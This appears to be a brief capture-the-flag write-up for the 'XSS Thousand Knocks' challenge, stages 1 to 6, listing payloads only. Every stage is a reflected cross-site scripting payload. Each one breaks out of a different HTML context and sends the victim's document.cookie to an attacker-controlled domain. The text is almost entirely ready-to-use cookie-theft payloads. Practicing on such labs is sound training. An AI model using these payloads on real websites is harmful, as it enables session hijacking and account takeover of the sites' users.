[KnockXss] Stage 1 to 6

XSS Thousand Knocks[link]

  • {} == your domain
    > ex) http://xss.silnex.kr/
  • Skip stage url, payload only
  • I open stage 1 to 6

Stage 1

/?location=%22http://example.com/?%22%2Bdocument.cookie

Stage 2

/?q=<script>location="{}?"%2bdocument.cookie</script>

Stage 3

/?q="><script>location="{}?"+document.cookie</script>

Stage 4

/?q='><script>location='{}?'+document.cookie</script>

Stage 5

/?q=</textarea><script>location='{}?'+document.cookie</script>

Stage 6

/?q=</xmp><img+src=1+onerror=location='{}?'+document.cookie>

Stage 7 to 34 were hidden.